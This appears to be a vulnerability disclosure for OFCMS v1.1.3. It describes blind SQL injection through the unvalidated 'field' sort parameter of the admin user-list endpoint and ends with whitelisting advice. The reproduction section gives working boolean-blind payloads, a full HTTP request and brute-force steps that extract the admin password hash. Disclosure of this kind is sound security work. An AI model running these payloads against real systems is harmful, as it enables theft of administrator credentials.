OFCMS v1.1.3 contains an SQL injection vulnerability.

## Vulnerability Description

An SQL injection vulnerability exists in the `SysUserController.java` component of `ofcms v1.1.3`. This vulnerability lies in the `/admin/system/user/getData.json` interface, which is called when processing query requests using the `query()` method. The vulnerability stems from improper validation of the `field` parameter. Because this parameter is directly appended to the `ORDER BY` clause of the backend SQL, attackers can perform blind SQL injection by constructing complex SQL expressions (including nested subqueries and Boolean logic).
## Vulnerability Analysis

The vulnerability's entry point class file is: \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java

Line 37, `Db.getSqlPara("system.user.query", params);`, will call the SQL query statement in the `query` section of the file `\ofcms-admin\src\main\resources\conf\sql\system\user.sql`.

![输入图片说明](https://foruda.gitee.com/images/1778135953508634504/bfd949f8_13555837.png "屏幕截图")

sql file:\ofcms-admin\src\main\resources\conf\sql\system\user.sql

The content is as follows: as long as the values of sort and field are not empty, they will be directly concatenated into the SQL query.

![输入图片说明](https://foruda.gitee.com/images/1778135966545943998/ce57e8ba_13555837.png "屏幕截图")

The vulnerability's entry point class file is: \ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java

Since field and sort are controllable by us, there is an SQL injection vulnerability.

![输入图片说明](https://foruda.gitee.com/images/1778135979695503246/93862ffa_13555837.png "屏幕截图")

## Vulnerability Reproduction

The database contains an admin user with user_id=1. By reading this user's password (user_password), we can prove the existence of an SQL injection vulnerability.

![输入图片说明](https://foruda.gitee.com/images/1778135994080519631/eeca3133_13555837.png "屏幕截图")

First, log in to the backend, obtain the cookie after login, and then set the following payload:

field=if(LeNgth((select/**/user_password/**/from/**/of_sys_user/**/where/**/user_id=1))=X,1,(select/**/1/**/union/**/select/**/2))

Iterate through the values of X. If X equals the correct password length, respond with a 200; otherwise, respond with a 500.

Based on the website routing, the request data packet configuration is as follows:

```http
POST /ofcms_admin/admin/system/user/getData.json HTTP/1.1
Host: localhost:8080
Content-Length: 161
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Chromium";v="143", "Not A(Brand";v="24"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/ofcms_admin/admin/f.html?p=system/user/index.html
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=C64E983A2F96D3419C8C6CC3F0814A15
Connection: keep-alive

pageNum=1&pageSize=10&field=if(LeNgth((select/**/user_password/**/from/**/of_sys_user/**/where/**/user_id=1))=X,1,(select/**/1/**/union/**/select/**/2))&sort=asc

```

In the brute-force module of bp, iterate through the values of X, from 1 to 250.

![输入图片说明](https://foruda.gitee.com/images/1778136013950683422/e18275b5_13555837.png "屏幕截图")

The administrator password obtained through injection is 64 characters long.

![输入图片说明](https://foruda.gitee.com/images/1778136026519246244/ec94240d_13555837.png "屏幕截图")

The password for the admin user (user_id=1) can be obtained through the `admin/system/user/getData.json` file. Calculations show that its length is 64 characters.

![输入图片说明](https://foruda.gitee.com/images/1778136040616212478/c90e581d_13555837.png "屏幕截图")

Now we begin the injection, obtaining the password value, and setting up the following injection statement: field=if((select/**/ascii(substr(user_password,X,1))/**/from/**/of_sys_user/**/where/**/user_id=1)=Y,1,(select/**/1/**/union/**/select/**/2))

Traversal length X: 1-10 (because brute-forcing 1-64 would be too large, for demonstration purposes I will only read the first 10 characters of the password)

Traversing ASCII codes Y: 1-255

The bp brute-force module is configured as follows:

![输入图片说明](https://foruda.gitee.com/images/1778136058860368612/5de00f09_13555837.png "屏幕截图")

Explosion result conversion: 8d969eef6e

![输入图片说明](https://foruda.gitee.com/images/1778136086476186238/9722093a_13555837.png "屏幕截图")

![输入图片说明](https://foruda.gitee.com/images/1778136097954796151/815242d9_13555837.png "屏幕截图")

The brute-force password for the admin user above, consisting of the first 10 characters, is: 8d969eef6e. However, the password for the admin user in the database is: 8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92. The brute-force result perfectly matches the first 10 characters of the admin user's password in the database. The SQL injection vulnerability has been successfully reproduced, and its existence has been verified.

![输入图片说明](https://foruda.gitee.com/images/1778136110004954070/c9d8c558_13555837.png "屏幕截图")

## Repair suggestions

1. Filter user input data.

2. Set a whitelist, defining a list of fields that can be sorted. Only fields within this list are allowed to be appended to the SQL statement.

欧福/ofcms

Content Risk Flag

Comments (0)

欧福/ofcms .gitee-modal { width: 500px !important; }

Content Risk Flag